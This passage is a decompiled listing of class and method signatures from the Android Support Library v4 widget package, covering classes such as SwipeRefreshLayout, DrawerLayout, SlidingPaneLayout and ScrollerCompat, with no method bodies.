    public boolean onEdgeLock(int);
    public void onEdgeDragStarted(int, int);
    public int getViewHorizontalDragRange(android.view.View);
    public int clampViewPositionHorizontal(android.view.View, int, int);
    public int clampViewPositionVertical(android.view.View, int, int);
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImpl.class


package android.support.v4.widget;
abstract interface SlidingPaneLayout$SlidingPanelLayoutImpl {
    public abstract void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/PopupMenuCompat$BasePopupMenuImpl.class


package android.support.v4.widget;
synchronized class PopupMenuCompat$BasePopupMenuImpl implements PopupMenuCompat$PopupMenuImpl {
    void PopupMenuCompat$BasePopupMenuImpl();
    public android.view.View$OnTouchListener getDragToOpenListener(Object);
}










android/support/v4/widget/AutoScrollHelper.class


package android.support.v4.widget;
public abstract synchronized class AutoScrollHelper implements android.view.View$OnTouchListener {
    public static final float RELATIVE_UNSPECIFIED = 0.0;
    public static final float NO_MAX = 3.4028235E38;
    public static final float NO_MIN = 0.0;
    public static final int EDGE_TYPE_INSIDE = 0;
    public static final int EDGE_TYPE_INSIDE_EXTEND = 1;
    public static final int EDGE_TYPE_OUTSIDE = 2;
    private static final int HORIZONTAL = 0;
    private static final int VERTICAL = 1;
    private final AutoScrollHelper$ClampedScroller mScroller;
    private final android.view.animation.Interpolator mEdgeInterpolator;
    private final android.view.View mTarget;
    private Runnable mRunnable;
    private float[] mRelativeEdges;
    private float[] mMaximumEdges;
    private int mEdgeType;
    private int mActivationDelay;
    private float[] mRelativeVelocity;
    private float[] mMinimumVelocity;
    private float[] mMaximumVelocity;
    private boolean mAlreadyDelayed;
    private boolean mNeedsReset;
    private boolean mNeedsCancel;
    private boolean mAnimating;
    private boolean mEnabled;
    private boolean mExclusive;
    private static final int DEFAULT_EDGE_TYPE = 1;
    private static final int DEFAULT_MINIMUM_VELOCITY_DIPS = 315;
    private static final int DEFAULT_MAXIMUM_VELOCITY_DIPS = 1575;
    private static final float DEFAULT_MAXIMUM_EDGE = 3.4028235E38;
    private static final float DEFAULT_RELATIVE_EDGE = 0.2;
    private static final float DEFAULT_RELATIVE_VELOCITY = 1.0;
    private static final int DEFAULT_ACTIVATION_DELAY;
    private static final int DEFAULT_RAMP_UP_DURATION = 500;
    private static final int DEFAULT_RAMP_DOWN_DURATION = 500;
    public void AutoScrollHelper(android.view.View);
    public AutoScrollHelper setEnabled(boolean);
    public boolean isEnabled();
    public AutoScrollHelper setExclusive(boolean);
    public boolean isExclusive();
    public AutoScrollHelper setMaximumVelocity(float, float);
    public AutoScrollHelper setMinimumVelocity(float, float);
    public AutoScrollHelper setRelativeVelocity(float, float);
    public AutoScrollHelper setEdgeType(int);
    public AutoScrollHelper setRelativeEdges(float, float);
    public AutoScrollHelper setMaximumEdges(float, float);
    public AutoScrollHelper setActivationDelay(int);
    public AutoScrollHelper setRampUpDuration(int);
    public AutoScrollHelper setRampDownDuration(int);
    public boolean onTouch(android.view.View, android.view.MotionEvent);
    private boolean shouldAnimate();
    private void startAnimating();
    private void requestStop();
    private float computeTargetVelocity(int, float, float, float);
    public abstract void scrollTargetBy(int, int);
    public abstract boolean canTargetScrollHorizontally(int);
    public abstract boolean canTargetScrollVertically(int);
    private float getEdgeValue(float, float, float, float);
    private float constrainEdgeValue(float, float);
    private static int constrain(int, int, int);
    private static float constrain(float, float, float);
    private void cancelTargetTouch();
    static void <clinit>();
}










android/support/v4/widget/SlidingPaneLayout$1.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$1 {
}










android/support/v4/widget/ViewDragHelper$1.class


package android.support.v4.widget;
final synchronized class ViewDragHelper$1 implements android.view.animation.Interpolator {
    void ViewDragHelper$1();
    public float getInterpolation(float);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatStubImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatStubImpl implements SearchViewCompat$SearchViewCompatImpl {
    void SearchViewCompat$SearchViewCompatStubImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setSearchableInfo(android.view.View, android.content.ComponentName);
    public void setImeOptions(android.view.View, int);
    public void setInputType(android.view.View, int);
    public Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public void setOnQueryTextListener(Object, Object);
    public Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public void setOnCloseListener(Object, Object);
    public CharSequence getQuery(android.view.View);
    public void setQuery(android.view.View, CharSequence, boolean);
    public void setQueryHint(android.view.View, CharSequence);
    public void setIconified(android.view.View, boolean);
    public boolean isIconified(android.view.View);
    public void setSubmitButtonEnabled(android.view.View, boolean);
    public boolean isSubmitButtonEnabled(android.view.View);
    public void setQueryRefinementEnabled(android.view.View, boolean);
    public boolean isQueryRefinementEnabled(android.view.View);
    public void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/ScrollerCompatIcs.class


package android.support.v4.widget;
synchronized class ScrollerCompatIcs {
    void ScrollerCompatIcs();
    public static float getCurrVelocity(Object);
}










android/support/v4/widget/PopupMenuCompat$PopupMenuImpl.class


package android.support.v4.widget;
abstract interface PopupMenuCompat$PopupMenuImpl {
    public abstract android.view.View$OnTouchListener getDragToOpenListener(Object);
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImplIcs.class


package android.support.v4.widget;
synchronized class ScrollerCompat$ScrollerCompatImplIcs extends ScrollerCompat$ScrollerCompatImplGingerbread {
    void ScrollerCompat$ScrollerCompatImplIcs();
    public float getCurrVelocity(Object);
}










android/support/v4/widget/SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge.class


package android.support.v4.widget;
abstract interface SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge {
    public abstract boolean onQueryTextSubmit(String);
    public abstract boolean onQueryTextChange(String);
}










android/support/v4/widget/SwipeRefreshLayout$5.class


package android.support.v4.widget;
synchronized class SwipeRefreshLayout$5 implements android.view.animation.Animation$AnimationListener {
    void SwipeRefreshLayout$5(SwipeRefreshLayout);
    public void onAnimationStart(android.view.animation.Animation);
    public void onAnimationEnd(android.view.animation.Animation);
    public void onAnimationRepeat(android.view.animation.Animation);
}










android/support/v4/widget/CursorFilter.class


package android.support.v4.widget;
synchronized class CursorFilter extends android.widget.Filter {
    CursorFilter$CursorFilterClient mClient;
    void CursorFilter(CursorFilter$CursorFilterClient);
    public CharSequence convertResultToString(Object);
    protected android.widget.Filter$FilterResults performFiltering(CharSequence);
    protected void publishResults(CharSequence, android.widget.Filter$FilterResults);
}










android/support/v4/widget/MaterialProgressDrawable$Ring.class


package android.support.v4.widget;
synchronized class MaterialProgressDrawable$Ring {
    private final android.graphics.RectF mTempBounds;
    private final android.graphics.Paint mPaint;
    private final android.graphics.Paint mArrowPaint;
    private final android.graphics.drawable.Drawable$Callback mCallback;
    private float mStartTrim;
    private float mEndTrim;
    private float mRotation;
    private float mStrokeWidth;
    private float mStrokeInset;
    private int[] mColors;
    private int mColorIndex;
    private float mStartingStartTrim;
    private float mStartingEndTrim;
    private float mStartingRotation;
    private boolean mShowArrow;
    private android.graphics.Path mArrow;
    private float mArrowScale;
    private double mRingCenterRadius;
    private int mArrowWidth;
    private int mArrowHeight;
    private int mAlpha;
    private final android.graphics.Paint mCirclePaint;
    private int mBackgroundColor;
    public void MaterialProgressDrawable$Ring(android.graphics.drawable.Drawable$Callback);
    public void setBackgroundColor(int);
    public void setArrowDimensions(float, float);
    public void draw(android.graphics.Canvas, android.graphics.Rect);
    private void drawTriangle(android.graphics.Canvas, float, float, android.graphics.Rect);
    public void setColors(int[]);
    public void setColorIndex(int);
    public void goToNextColor();
    public void setColorFilter(android.graphics.ColorFilter);
    public void setAlpha(int);
    public int getAlpha();
    public void setStrokeWidth(float);
    public float getStrokeWidth();
    public void setStartTrim(float);
    public float getStartTrim();
    public float getStartingStartTrim();
    public float getStartingEndTrim();
    public void setEndTrim(float);
    public float getEndTrim();
    public void setRotation(float);
    public float getRotation();
    public void setInsets(int, int);
    public float getInsets();
    public void setCenterRadius(double);
    public double getCenterRadius();
    public void setShowArrow(boolean);
    public void setArrowScale(float);
    public float getStartingRotation();
    public void storeOriginals();
    public void resetOriginals();
    private void invalidateSelf();
}










android/support/v4/widget/ViewDragHelper$Callback.class


package android.support.v4.widget;
public abstract synchronized class ViewDragHelper$Callback {
    public void ViewDragHelper$Callback();
    public void onViewDragStateChanged(int);
    public void onViewPositionChanged(android.view.View, int, int, int, int);
    public void onViewCaptured(android.view.View, int);
    public void onViewReleased(android.view.View, float, float);
    public void onEdgeTouched(int, int);
    public boolean onEdgeLock(int);
    public void onEdgeDragStarted(int, int);
    public int getOrderedChildIndex(int);
    public int getViewHorizontalDragRange(android.view.View);
    public int getViewVerticalDragRange(android.view.View);
    public abstract boolean tryCaptureView(android.view.View, int);
    public int clampViewPositionHorizontal(android.view.View, int, int);
    public int clampViewPositionVertical(android.view.View, int, int);
}










android/support/v4/widget/BakedBezierInterpolator.class


package android.support.v4.widget;
final synchronized class BakedBezierInterpolator implements android.view.animation.Interpolator {
    private static final BakedBezierInterpolator INSTANCE;
    private static final float[] VALUES;
    private static final float STEP_SIZE;
    public static final BakedBezierInterpolator getInstance();
    private void BakedBezierInterpolator();
    public float getInterpolation(float);
    static void <clinit>();
}










android/support/v4/widget/SwipeRefreshLayout$1.class


package android.support.v4.widget;
synchronized class SwipeRefreshLayout$1 implements android.view.animation.Animation$AnimationListener {
    void SwipeRefreshLayout$1(SwipeRefreshLayout);
    public void onAnimationStart(android.view.animation.Animation);
    public void onAnimationRepeat(android.view.animation.Animation);
    public void onAnimationEnd(android.view.animation.Animation);
}










android/support/v4/widget/SwipeRefreshLayout$6.class


package android.support.v4.widget;
synchronized class SwipeRefreshLayout$6 extends android.view.animation.Animation {
    void SwipeRefreshLayout$6(SwipeRefreshLayout);
    public void applyTransformation(float, android.view.animation.Transformation);
}










android/support/v4/widget/SwipeRefreshLayout$OnRefreshListener.class


package android.support.v4.widget;
public abstract interface SwipeRefreshLayout$OnRefreshListener {
    public abstract void onRefresh();
}










android/support/v4/widget/PopupMenuCompatKitKat.class


package android.support.v4.widget;
synchronized class PopupMenuCompatKitKat {
    void PopupMenuCompatKitKat();
    public static android.view.View$OnTouchListener getDragToOpenListener(Object);
}










android/support/v4/widget/DrawerLayout$ChildAccessibilityDelegate.class


package android.support.v4.widget;
final synchronized class DrawerLayout$ChildAccessibilityDelegate extends android.support.v4.view.AccessibilityDelegateCompat {
    void DrawerLayout$ChildAccessibilityDelegate(DrawerLayout);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
}










android/support/v4/widget/DrawerLayout$EdgeGravity.class


package android.support.v4.widget;
abstract interface DrawerLayout$EdgeGravity extends annotation.Annotation {
}










android/support/v4/widget/MaterialProgressDrawable$1.class


package android.support.v4.widget;
synchronized class MaterialProgressDrawable$1 extends android.view.animation.Animation {
    void MaterialProgressDrawable$1(MaterialProgressDrawable, MaterialProgressDrawable$Ring);
    public void applyTransformation(float, android.view.animation.Transformation);
}










android/support/v4/widget/SlidingPaneLayout$SavedState.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SavedState extends android.view.View$BaseSavedState {
    boolean isOpen;
    public static final android.os.Parcelable$Creator CREATOR;
    void SlidingPaneLayout$SavedState(android.os.Parcelable);
    private void SlidingPaneLayout$SavedState(android.os.Parcel);
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/widget/MaterialProgressDrawable$EndCurveInterpolator.class


package android.support.v4.widget;
synchronized class MaterialProgressDrawable$EndCurveInterpolator extends android.view.animation.AccelerateDecelerateInterpolator {
    private void MaterialProgressDrawable$EndCurveInterpolator();
    public float getInterpolation(float);
}










android/support/v4/widget/SimpleCursorAdapter.class


package android.support.v4.widget;
public synchronized class SimpleCursorAdapter extends ResourceCursorAdapter {
    protected int[] mFrom;
    protected int[] mTo;
    private int mStringConversionColumn;
    private SimpleCursorAdapter$CursorToStringConverter mCursorToStringConverter;
    private SimpleCursorAdapter$ViewBinder mViewBinder;
    String[] mOriginalFrom;
    public void SimpleCursorAdapter(android.content.Context, int, android.database.Cursor, String[], int[]);
    public void SimpleCursorAdapter(android.content.Context, int, android.database.Cursor, String[], int[], int);
    public void bindView(android.view.View, android.content.Context, android.database.Cursor);
    public SimpleCursorAdapter$ViewBinder getViewBinder();
    public void setViewBinder(SimpleCursorAdapter$ViewBinder);
    public void setViewImage(android.widget.ImageView, String);
    public void setViewText(android.widget.TextView, String);
    public int getStringConversionColumn();
    public void setStringConversionColumn(int);
    public SimpleCursorAdapter$CursorToStringConverter getCursorToStringConverter();
    public void setCursorToStringConverter(SimpleCursorAdapter$CursorToStringConverter);
    public CharSequence convertToString(android.database.Cursor);
    private void findColumns(String[]);
    public android.database.Cursor swapCursor(android.database.Cursor);
    public void changeCursorAndColumns(android.database.Cursor, String[], int[]);
}










android/support/v4/widget/ResourceCursorAdapter.class


package android.support.v4.widget;
public abstract synchronized class ResourceCursorAdapter extends CursorAdapter {
    private int mLayout;
    private int mDropDownLayout;
    private android.view.LayoutInflater mInflater;
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor);
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor, boolean);
    public void ResourceCursorAdapter(android.content.Context, int, android.database.Cursor, int);
    public android.view.View newView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public android.view.View newDropDownView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
    public void setViewResource(int);
    public void setDropDownViewResource(int);
}










android/support/v4/widget/ExploreByTouchHelper$1.class


package android.support.v4.widget;
synchronized class ExploreByTouchHelper$1 {
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImpl.class


package android.support.v4.widget;
abstract interface ScrollerCompat$ScrollerCompatImpl {
    public abstract Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public abstract boolean isFinished(Object);
    public abstract int getCurrX(Object);
    public abstract int getCurrY(Object);
    public abstract float getCurrVelocity(Object);
    public abstract boolean computeScrollOffset(Object);
    public abstract void startScroll(Object, int, int, int, int);
    public abstract void startScroll(Object, int, int, int, int, int);
    public abstract void fling(Object, int, int, int, int, int, int, int, int);
    public abstract void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public abstract void abortAnimation(Object);
    public abstract void notifyHorizontalEdgeReached(Object, int, int, int);
    public abstract void notifyVerticalEdgeReached(Object, int, int, int);
    public abstract boolean isOverScrolled(Object);
    public abstract int getFinalX(Object);
    public abstract int getFinalY(Object);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl extends SearchViewCompat$SearchViewCompatStubImpl {
    void SearchViewCompat$SearchViewCompatHoneycombImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setSearchableInfo(android.view.View, android.content.ComponentName);
    public Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public void setOnQueryTextListener(Object, Object);
    public Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public void setOnCloseListener(Object, Object);
    public CharSequence getQuery(android.view.View);
    public void setQuery(android.view.View, CharSequence, boolean);
    public void setQueryHint(android.view.View, CharSequence);
    public void setIconified(android.view.View, boolean);
    public boolean isIconified(android.view.View);
    public void setSubmitButtonEnabled(android.view.View, boolean);
    public boolean isSubmitButtonEnabled(android.view.View);
    public void setQueryRefinementEnabled(android.view.View, boolean);
    public boolean isQueryRefinementEnabled(android.view.View);
    public void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/DrawerLayoutCompatApi21.class


package android.support.v4.widget;
synchronized class DrawerLayoutCompatApi21 {
    void DrawerLayoutCompatApi21();
    public static void configureApplyInsets(android.view.View);
    public static void dispatchChildInsets(android.view.View, Object, int);
    public static void applyMarginInsets(android.view.ViewGroup$MarginLayoutParams, Object, int);
    public static int getTopInset(Object);
}










android/support/v4/widget/CircleImageView$OvalShadow.class


package android.support.v4.widget;
synchronized class CircleImageView$OvalShadow extends android.graphics.drawable.shapes.OvalShape {
    private android.graphics.RadialGradient mRadialGradient;
    private int mShadowRadius;
    private android.graphics.Paint mShadowPaint;
    private int mCircleDiameter;
    public void CircleImageView$OvalShadow(CircleImageView, int, int);
    public void draw(android.graphics.Canvas, android.graphics.Paint);
}










android/support/v4/widget/SlidingPaneLayout$DragHelperCallback.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$DragHelperCallback extends ViewDragHelper$Callback {
    private void SlidingPaneLayout$DragHelperCallback(SlidingPaneLayout);
    public boolean tryCaptureView(android.view.View, int);
    public void onViewDragStateChanged(int);
    public void onViewCaptured(android.view.View, int);
    public void onViewPositionChanged(android.view.View, int, int, int, int);
    public void onViewReleased(android.view.View, float, float);
    public int getViewHorizontalDragRange(android.view.View);
    public int clampViewPositionHorizontal(android.view.View, int, int);
    public int clampViewPositionVertical(android.view.View, int, int);
    public void onEdgeDragStarted(int, int);
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImplJB.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SlidingPanelLayoutImplJB extends SlidingPaneLayout$SlidingPanelLayoutImplBase {
    private reflect.Method mGetDisplayList;
    private reflect.Field mRecreateDisplayList;
    void SlidingPaneLayout$SlidingPanelLayoutImplJB();
    public void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/SearchViewCompat$OnCloseListenerCompat.class


package android.support.v4.widget;
public abstract synchronized class SearchViewCompat$OnCloseListenerCompat {
    final Object mListener;
    public void SearchViewCompat$OnCloseListenerCompat();
    public boolean onClose();
}










android/support/v4/widget/DrawerLayout$SavedState$1.class


package android.support.v4.widget;
final synchronized class DrawerLayout$SavedState$1 implements android.os.Parcelable$Creator {
    void DrawerLayout$SavedState$1();
    public DrawerLayout$SavedState createFromParcel(android.os.Parcel);
    public DrawerLayout$SavedState[] newArray(int);
}










android/support/v4/widget/DrawerLayoutCompatApi21$InsetsListener.class


package android.support.v4.widget;
synchronized class DrawerLayoutCompatApi21$InsetsListener implements android.view.View$OnApplyWindowInsetsListener {
    void DrawerLayoutCompatApi21$InsetsListener();
    public android.view.WindowInsets onApplyWindowInsets(android.view.View, android.view.WindowInsets);
}










android/support/v4/widget/DrawerLayoutImpl.class


package android.support.v4.widget;
abstract interface DrawerLayoutImpl {
    public abstract void setChildInsets(Object, boolean);
}










android/support/v4/widget/SlidingPaneLayout$AccessibilityDelegate.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$AccessibilityDelegate extends android.support.v4.view.AccessibilityDelegateCompat {
    private final android.graphics.Rect mTmpRect;
    void SlidingPaneLayout$AccessibilityDelegate(SlidingPaneLayout);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean filter(android.view.View);
    private void copyNodeInfoNoChildren(android.support.v4.view.accessibility.AccessibilityNodeInfoCompat, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImplGingerbread.class


package android.support.v4.widget;
synchronized class ScrollerCompat$ScrollerCompatImplGingerbread implements ScrollerCompat$ScrollerCompatImpl {
    void ScrollerCompat$ScrollerCompatImplGingerbread();
    public Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public boolean isFinished(Object);
    public int getCurrX(Object);
    public int getCurrY(Object);
    public float getCurrVelocity(Object);
    public boolean computeScrollOffset(Object);
    public void startScroll(Object, int, int, int, int);
    public void startScroll(Object, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public void abortAnimation(Object);
    public void notifyHorizontalEdgeReached(Object, int, int, int);
    public void notifyVerticalEdgeReached(Object, int, int, int);
    public boolean isOverScrolled(Object);
    public int getFinalX(Object);
    public int getFinalY(Object);
}










android/support/v4/widget/SwipeRefreshLayout$7.class


package android.support.v4.widget;
synchronized class SwipeRefreshLayout$7 extends android.view.animation.Animation {
    void SwipeRefreshLayout$7(SwipeRefreshLayout);
    public void applyTransformation(float, android.view.animation.Transformation);
}










android/support/v4/widget/EdgeEffectCompat$BaseEdgeEffectImpl.class


package android.support.v4.widget;
synchronized class EdgeEffectCompat$BaseEdgeEffectImpl implements EdgeEffectCompat$EdgeEffectImpl {
    void EdgeEffectCompat$BaseEdgeEffectImpl();
    public Object newEdgeEffect(android.content.Context);
    public void setSize(Object, int, int);
    public boolean isFinished(Object);
    public void finish(Object);
    public boolean onPull(Object, float);
    public boolean onRelease(Object);
    public boolean onAbsorb(Object, int);
    public boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/SimpleCursorAdapter$ViewBinder.class


package android.support.v4.widget;
public abstract interface SimpleCursorAdapter$ViewBinder {
    public abstract boolean setViewValue(android.view.View, android.database.Cursor, int);
}










android/support/v4/widget/EdgeEffectCompat$EdgeEffectIcsImpl.class


package android.support.v4.widget;
synchronized class EdgeEffectCompat$EdgeEffectIcsImpl implements EdgeEffectCompat$EdgeEffectImpl {
    void EdgeEffectCompat$EdgeEffectIcsImpl();
    public Object newEdgeEffect(android.content.Context);
    public void setSize(Object, int, int);
    public boolean isFinished(Object);
    public void finish(Object);
    public boolean onPull(Object, float);
    public boolean onRelease(Object);
    public boolean onAbsorb(Object, int);
    public boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/SearchViewCompatIcs.class


package android.support.v4.widget;
synchronized class SearchViewCompatIcs {
    void SearchViewCompatIcs();
    public static android.view.View newSearchView(android.content.Context);
    public static void setImeOptions(android.view.View, int);
    public static void setInputType(android.view.View, int);
}










android/support/v4/widget/DrawerLayout$LayoutParams.class


package android.support.v4.widget;
public synchronized class DrawerLayout$LayoutParams extends android.view.ViewGroup$MarginLayoutParams {
    public int gravity;
    float onScreen;
    boolean isPeeking;
    boolean knownOpen;
    public void DrawerLayout$LayoutParams(android.content.Context, android.util.AttributeSet);
    public void DrawerLayout$LayoutParams(int, int);
    public void DrawerLayout$LayoutParams(int, int, int);
    public void DrawerLayout$LayoutParams(DrawerLayout$LayoutParams);
    public void DrawerLayout$LayoutParams(android.view.ViewGroup$LayoutParams);
    public void DrawerLayout$LayoutParams(android.view.ViewGroup$MarginLayoutParams);
}










android/support/v4/widget/PopupWindowCompat$PopupWindowImpl.class


package android.support.v4.widget;
abstract interface PopupWindowCompat$PopupWindowImpl {
    public abstract void showAsDropDown(android.widget.PopupWindow, android.view.View, int, int, int);
}










android/support/v4/widget/SlidingPaneLayout$PanelSlideListener.class


package android.support.v4.widget;
public abstract interface SlidingPaneLayout$PanelSlideListener {
    public abstract void onPanelSlide(android.view.View, float);
    public abstract void onPanelOpened(android.view.View);
    public abstract void onPanelClosed(android.view.View);
}










android/support/v4/widget/SearchViewCompatIcs$MySearchView.class


package android.support.v4.widget;
public synchronized class SearchViewCompatIcs$MySearchView extends android.widget.SearchView {
    public void SearchViewCompatIcs$MySearchView(android.content.Context);
    public void onActionViewCollapsed();
}










android/support/v4/widget/CursorAdapter$ChangeObserver.class


package android.support.v4.widget;
synchronized class CursorAdapter$ChangeObserver extends android.database.ContentObserver {
    public void CursorAdapter$ChangeObserver(CursorAdapter);
    public boolean deliverSelfNotifications();
    public void onChange(boolean);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl$1.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl$1 implements SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge {
    void SearchViewCompat$SearchViewCompatHoneycombImpl$1(SearchViewCompat$SearchViewCompatHoneycombImpl, SearchViewCompat$OnQueryTextListenerCompat);
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/ListPopupWindowCompat$BaseListPopupWindowImpl.class


package android.support.v4.widget;
synchronized class ListPopupWindowCompat$BaseListPopupWindowImpl implements ListPopupWindowCompat$ListPopupWindowImpl {
    void ListPopupWindowCompat$BaseListPopupWindowImpl();
    public android.view.View$OnTouchListener createDragToOpenListener(Object, android.view.View);
}










android/support/v4/widget/ListPopupWindowCompat.class


package android.support.v4.widget;
public synchronized class ListPopupWindowCompat {
    static final ListPopupWindowCompat$ListPopupWindowImpl IMPL;
    private void ListPopupWindowCompat();
    public static android.view.View$OnTouchListener createDragToOpenListener(Object, android.view.View);
    static void <clinit>();
}










android/support/v4/widget/SwipeRefreshLayout$4.class


package android.support.v4.widget;
synchronized class SwipeRefreshLayout$4 extends android.view.animation.Animation {
    void SwipeRefreshLayout$4(SwipeRefreshLayout, int, int);
    public void applyTransformation(float, android.view.animation.Transformation);
}










android/support/v4/widget/SwipeRefreshLayout$8.class


package android.support.v4.widget;
synchronized class SwipeRefreshLayout$8 extends android.view.animation.Animation {
    void SwipeRefreshLayout$8(SwipeRefreshLayout);
    public void applyTransformation(float, android.view.animation.Transformation);
}










android/support/v4/widget/DrawerLayout$DrawerLayoutCompatImpl.class


package android.support.v4.widget;
abstract interface DrawerLayout$DrawerLayoutCompatImpl {
    public abstract void configureApplyInsets(android.view.View);
    public abstract void dispatchChildInsets(android.view.View, Object, int);
    public abstract void applyMarginInsets(android.view.ViewGroup$MarginLayoutParams, Object, int);
    public abstract int getTopInset(Object);
}










android/support/v4/widget/MaterialProgressDrawable$2.class


package android.support.v4.widget;
synchronized class MaterialProgressDrawable$2 implements android.view.animation.Animation$AnimationListener {
    void MaterialProgressDrawable$2(MaterialProgressDrawable, MaterialProgressDrawable$Ring);
    public void onAnimationStart(android.view.animation.Animation);
    public void onAnimationEnd(android.view.animation.Animation);
    public void onAnimationRepeat(android.view.animation.Animation);
}










android/support/v4/widget/DrawerLayout$DrawerLayoutCompatImplBase.class


package android.support.v4.widget;
synchronized class DrawerLayout$DrawerLayoutCompatImplBase implements DrawerLayout$DrawerLayoutCompatImpl {
    void DrawerLayout$DrawerLayoutCompatImplBase();
    public void configureApplyInsets(android.view.View);
    public void dispatchChildInsets(android.view.View, Object, int);
    public void applyMarginInsets(android.view.ViewGroup$MarginLayoutParams, Object, int);
    public int getTopInset(Object);
}










android/support/v4/widget/SimpleCursorAdapter$CursorToStringConverter.class


package android.support.v4.widget;
public abstract interface SimpleCursorAdapter$CursorToStringConverter {
    public abstract CharSequence convertToString(android.database.Cursor);
}










android/support/v4/widget/CircleImageView.class


package android.support.v4.widget;
synchronized class CircleImageView extends android.widget.ImageView {
    private static final int KEY_SHADOW_COLOR = 503316480;
    private static final int FILL_SHADOW_COLOR = 1023410176;
    private static final float X_OFFSET = 0.0;
    private static final float Y_OFFSET = 1.75;
    private static final float SHADOW_RADIUS = 3.5;
    private static final int SHADOW_ELEVATION = 4;
    private android.view.animation.Animation$AnimationListener mListener;
    private int mShadowRadius;
    public void CircleImageView(android.content.Context, int, float);
    private boolean elevationSupported();
    protected void onMeasure(int, int);
    public void setAnimationListener(android.view.animation.Animation$AnimationListener);
    public void onAnimationStart();
    public void onAnimationEnd();
    public void setBackgroundColor(int);
}










android/support/v4/widget/SearchViewCompatHoneycomb.class


package android.support.v4.widget;
synchronized class SearchViewCompatHoneycomb {
    void SearchViewCompatHoneycomb();
    public static android.view.View newSearchView(android.content.Context);
    public static void setSearchableInfo(android.view.View, android.content.ComponentName);
    public static Object newOnQueryTextListener(SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge);
    public static void setOnQueryTextListener(Object, Object);
    public static Object newOnCloseListener(SearchViewCompatHoneycomb$OnCloseListenerCompatBridge);
    public static void setOnCloseListener(Object, Object);
    public static CharSequence getQuery(android.view.View);
    public static void setQuery(android.view.View, CharSequence, boolean);
    public static void setQueryHint(android.view.View, CharSequence);
    public static void setIconified(android.view.View, boolean);
    public static boolean isIconified(android.view.View);
    public static void setSubmitButtonEnabled(android.view.View, boolean);
    public static boolean isSubmitButtonEnabled(android.view.View);
    public static void setQueryRefinementEnabled(android.view.View, boolean);
    public static boolean isQueryRefinementEnabled(android.view.View);
    public static void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/EdgeEffectCompat$EdgeEffectImpl.class


package android.support.v4.widget;
abstract interface EdgeEffectCompat$EdgeEffectImpl {
    public abstract Object newEdgeEffect(android.content.Context);
    public abstract void setSize(Object, int, int);
    public abstract boolean isFinished(Object);
    public abstract void finish(Object);
    public abstract boolean onPull(Object, float);
    public abstract boolean onRelease(Object);
    public abstract boolean onAbsorb(Object, int);
    public abstract boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImplBase.class


package android.support.v4.widget;
synchronized class ScrollerCompat$ScrollerCompatImplBase implements ScrollerCompat$ScrollerCompatImpl {
    void ScrollerCompat$ScrollerCompatImplBase();
    public Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public boolean isFinished(Object);
    public int getCurrX(Object);
    public int getCurrY(Object);
    public float getCurrVelocity(Object);
    public boolean computeScrollOffset(Object);
    public void startScroll(Object, int, int, int, int);
    public void startScroll(Object, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public void abortAnimation(Object);
    public void notifyHorizontalEdgeReached(Object, int, int, int);
    public void notifyVerticalEdgeReached(Object, int, int, int);
    public boolean isOverScrolled(Object);
    public int getFinalX(Object);
    public int getFinalY(Object);
}










android/support/v4/widget/ExploreByTouchHelper$ExploreByTouchNodeProvider.class


package android.support.v4.widget;
